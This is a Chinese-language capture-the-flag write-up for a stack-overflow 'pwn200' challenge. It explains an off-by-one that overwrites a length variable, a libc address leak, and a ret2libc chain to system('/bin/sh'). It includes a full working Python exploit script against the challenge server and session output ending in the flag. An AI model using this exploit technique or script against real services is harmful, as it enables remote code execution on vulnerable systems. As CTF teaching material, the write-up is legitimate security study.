@pnck
2015-03-19T05:17:07.000000Z
字数 7481
阅读 5296
writeup
用某大牛的话来说,一道“简单的栈溢出”,题目用nc连上去之后就一行提示input name,试了一些%字符串之后无果,超长字串也没有问题,于是直接丢IDA分析。
程序很简单,就几个函数,通过xref很快理清代码逻辑,入口点进去就是调用一个 __libc_start_main开始main函数,然后有一些constructor和finalizer函数,主线就是0x80485c2(命名为call_main) -> 0x80484ac(命名为main_func) 其实call_main就是main函数,但为了逻辑清晰就这么写了
main_func中首先调用write输出“input name”的提示,然后调用read将结果写入一个16字节大的缓冲区,read和write共用一个nbytes变量,函数开始的时候nbytes初始化为16。read完紧接着一个strlen判断字符串是否>=10,若过长直接返回,长度恰当,调用strncmp判断输入字串的前8个字符是否是“syclover”。这里strlen和strncmp判断长度的参数都是固定的,无法利用。然后接下去又是write - read - write,提示输入另一个字串slogan,然后输出用户输入,第二个字串存入一个128字节的缓冲区。然后整个程序就结束了……乍一看似乎没有可以利用的地方,第一个read的缓冲区只有16字节,但是nbytes也是16,不会覆盖到别的地址……我的IDA不知为何F5会崩溃退出,导致有个很关键的点看漏了,实际上在第一次调用read之前0x804850f这个地方被插了个eax+1,接着eax+1被保存回原来nbytes的位置,所以其实read读取了16+1个字节,而不是16个
.text:080484F0 0BC mov dword ptr [esp+8], 0Ch ; n.text:080484F8 0BC mov dword ptr [esp+4], offset aInputName ; "input name:".text:08048500 0BC mov dword ptr [esp], 1 ; fd.text:08048507 0BC call _write ; Call Procedure.text:0804850C 0BC mov eax, [ebp+nbytes].text:0804850F 0BC add eax, 1 ; <-故意插的桩.text:08048512 0BC mov [esp+8], eax ; nbytes.text:08048516 0BC lea eax, [ebp+buf] ; Load Effective Address.text:08048519 0BC mov [esp+4], eax ; buf.text:0804851D 0BC mov dword ptr [esp], 0 ; fd.text:08048524 0BC call _read ; Call Procedure.text:08048529 0BC lea eax, [ebp+buf] ; Load Effective Address.text:0804852C 0BC mov [esp], eax ; s.text:0804852F 0BC call _strlen ; Call Procedure
有了这个出题人故意插的桩后边也就顺理成章,看下栈帧(ctfl+k)
-000000A1 db ? ; undefined-000000A0 db ? ; undefined-0000009F db ? ; undefined-0000009E db ? ; undefined-0000009D db ? ; undefined-0000009C slogan db 128 dup(?)-0000001C buf db 16 dup(?)-0000000C nbytes dd ?-00000008 db ? ; undefined-00000007 db ? ; undefined-00000006 db ? ; undefined-00000005 db ? ; undefined-00000004 db ? ; undefined-00000003 db ? ; undefined-00000002 db ? ; undefined-00000001 db ? ; undefined+00000000 s db 4 dup(?)+00000004 r db 4 dup(?)+00000008+00000008 ; end of stack variables
buf下面是nbytes,17个字节刚好可以覆盖掉nbytes的最低位,这样下一个read就可以读入255字节的字串,足以从slogan覆盖到返回地址。需要注意一点是第一个read后面是有strlen和strncmp判断的,所以要用0填过去,最后一字节再置为0xff。
s = socket.socket()s.connect(('218.2.197.248',10001))s.recv(100)s.send('syclover'+'\x00'*8+'\xff')s.recv(100)
之后这里就可以控制程序返回流了,服务器开了nx和aslr,首先想到ret2libc,但有个问题,能够利用的read只有一次,但libc的基址是随机的,如何找到system()的地址?思前想后无果,先写了一段脚本打印栈结构
pl='a'*(128+16)+struct.pack('I',256)+'a'*8#这里palyload构造参照上面IDA栈帧结果s = socket.socket()s.connect(('218.2.197.248',10001))s.recv(100)s.send('syclover'+'\x00'*8+'\xff')#time.sleep(0.5)s.recv(100)s.send(pl)#time.sleep(1)data = s.recv(4096)print 'datalen:',len(data)if not data:raise Exception('error')print '*-----------------*'frames = []try:for i in xrange(128+16+4+8,len(data)&0xfffffc,4):b4yte = data[i:i+4]frame, = struct.unpack('I',b4yte)#print hex(frame)frames.append(frame)finally :print 'continue..'for n in frames:print hex(n)
最上面的一段结果:
L↓0xbff21228 ;call_main ebp0x80485cd ;ret to call_main0x80485f00x0↓0x00xb75d74d3 ;ret to __libc_start_main0x10xbff212c40xbff212cc0xb777a858H......还有很多很多
可以看到除了最顶上两个人尽皆知的ebp和ret addr之外我还标了一个返回到__libc_start_main的地址。因为main是通过__libc_start_main启动的(入口处),所以main的调用栈必定能回溯到__libc_start_main里面。但具体的调用链我不清楚……那就猜吧……hhhh反正在返回地址下面对不对 _(:з」∠)_题目同时给出了libc的bin,IDA找一下__libc_start_main
.text:000193E0 __libc_start_main proc near.text:000193E0.text:000193E0 env = dword ptr -6Ch.text:000193E0 var_68 = dword ptr -68h.text:000193E0 var_64 = dword ptr -64h.text:000193E0 var_54 = dword ptr -54h.text:000193E0 var_50 = dword ptr -50h.text:000193E0 var_48 = byte ptr -48h.text:000193E0 var_2C = dword ptr -2Ch.text:000193E0 var_28 = dword ptr -28h.text:000193E0 var_10 = dword ptr -10h.text:000193E0 addr_of_cunc = dword ptr 4.text:000193E0 arg_4 = dword ptr 8.text:000193E0 arg_8 = dword ptr 0Ch.text:000193E0 arg_C = dword ptr 10h.text:000193E0 arg_14 = dword ptr 18h
根据参数把arg0改为addr_of_func往下找
.text:000194C0 mov [esp+6Ch+var_68], ecx.text:000194C4 mov [esp+6Ch+var_64], eax.text:000194C8 mov eax, [esp+6Ch+arg_4].text:000194CC mov [esp+6Ch+env], eax.text:000194CF call [esp+6Ch+addr_of_func] ;Here is the call.text:000194D3.text:000194D3 loc_194D3: ; CODE XREF: __libc_start_main+12Ej.text:000194D3 mov [esp+10h+var_10], eax.text:000194D6 call exit.text:000194DB ; ---------------------------------------------------------------------------.text:000194DB.text:000194DB loc_194DB: ; CODE XREF: __libc_start_main+25j.text:000194DB xor ecx, ecx.text:000194DD jmp loc_19414.text:000194E2 ; ---------------------------------------------------------------------------.text:000194E2
也就是说返回到这里的时候应该是到0x000194d3的位置,结合之前打印栈结构的数据合理猜测0xb75d74d3就是对应的动态绑定的返回到__libc_start_main中的真实地址。于是libc的基址就可以这样计算:base = ebp+5*4-0x194d3,对应的system()的地址为base+0x3f430,"/bin/sh"字串在base+0x160f58,这些偏移均可以从libc中搜索得到,这里不再赘述。可是问题还搁在那没解决,地址找齐了,read也已经执行完了,没有机会再ret到system了,怎么办……又是一轮冥思苦想无果,尝试返回到其中一个read让read再次覆盖返回地址也没成功,期间倒是通过固定目标地址暴力循环盲打的方式成功溢出几回……向大牛讨问了半天如何构造堆栈能让程序ret到read上面之后还能读到有效的数据(关键是nbytes和fd),后来得出个结论:这几乎是不可能的,因为由始至终并无办法获得esp或ebp,也就没法计算read需要的参数偏移的具体位置,连填充数据填到了哪个地址也无法知道,所以ret回read不现实。后来大牛说直接给你看看脚本好了……原来他一开始也在尝试ret到read,半天发现不行,改为直接ret到函数开头,不过脚本写完回头忘了= = 好吧,改为ret到函数开头,成功。
最后exp的思路是
1. 发送"syclover"+8个\x00+\xff,覆盖nbytes最低位
2. 发送'A'*0x9c + 随意一个ebp + 0x80484ac(main_func的地址)覆盖返回地址,使程序重复执行main_func;同时通过程序write出来的数据获得返回到 __libc_start_main中的地址,再根据这个地址计算system()和/bin/sh字串的位置
3. 在第二次调用的main_func过程中用同样的办法把返回地址覆盖为算出的system,ret_addr+8为/bin/sh的位置
成功利用的脚本如下
#!/bin/env python#coding:utf-8import structimport socketimport timedef run(cmd):new_ebp = 0xbf000000base = 0xb75b4000t_addr = base+0x3f430pl='a'*(128+16)+struct.pack('I',256)+'a'*8+struct.pack('II',new_ebp,0x80484ac)s = socket.socket()s.connect(('218.2.197.248',10001))s.recv(100)s.send('syclover'+'\x00'*8+'\xff')#time.sleep(0.5)s.recv(100)s.send(pl)#time.sleep(1)data = s.recv(4096)print 'datalen:',len(data)if not data:#raise Exception('error')returnprint '*-----------------*'frames = []try:for i in xrange(128+16+4+8,len(data)&0xfffffc,4):b4yte = data[i:i+4]frame, = struct.unpack('I',b4yte)#print hex(frame)frames.append(frame)finally :print 'continue..'#for n in frames:#print hex(n)addr_ret = frames[1]print 'ret to:',hex(addr_ret)base = frames[5]-0x194d3print 'base:',hex(base)addr_system = base+0x3f430print 'system:',hex(addr_system)#if addr_system != t_addr:# print 'not\n'# returnaddr_shstr = base+0x160f58print 'str:',hex(addr_shstr)print 'addr_system:',hex(addr_system),'sh_addr:',hex(addr_shstr)print s.recv(100)s.send('syclover'+'\x00'*8+'\xff')s.recv(100)pl='a'*(128+16)+struct.pack('I',256)+'a'*8+struct.pack('IIII',new_ebp,addr_system,0x8048585,addr_shstr)s.send(pl)s.recv(4096)print '================================='s.send(cmd+'\n')d2 = s.recv(4096)print d2print '================================='s.close()if __name__ == '__main__':while True:cmd = raw_input('command: ')run(cmd)
最后flag放在/home/pwn1/ffLLag_/flag这个文件中
[pnck@iZ2387cmgm2Z ctf]$ ./pwn200.pycommand: ls /homedatalen: 256*-----------------*base: 0xb7551000system: 0xb7590430str: 0xb76b1f58addr_system: 0xb7590430 sh_addr: 0xb76b1f58=================================pwn1pwn2pwn3syclover=================================command: ls /pwn1/*-----------------*base: 0xb752f000system: 0xb756e430str: 0xb768ff58addr_system: 0xb756e430 sh_addr: 0xb768ff58=================================ls:=================================command: ls /home/pwn1*-----------------*base: 0xb7559000system: 0xb7598430str: 0xb76b9f58addr_system: 0xb7598430 sh_addr: 0xb76b9f58=================================ffLLag_pwn1=================================command: ls /home/pwn1/ffLLag_*-----------------*base: 0xb75a9000system: 0xb75e8430str: 0xb7709f58input name:addr_system: 0xb75e8430 sh_addr: 0xb7709f58=================================flag=================================command: cat /home/pwn1/ffLLag_/flag*-----------------*base: 0xb75f9000system: 0xb7638430str: 0xb7759f58addr_system: 0xb7638430 sh_addr: 0xb7759f58=================================SCTF{SH3NG_4_KAN_DAN__BU_FU_9_GANN}=================================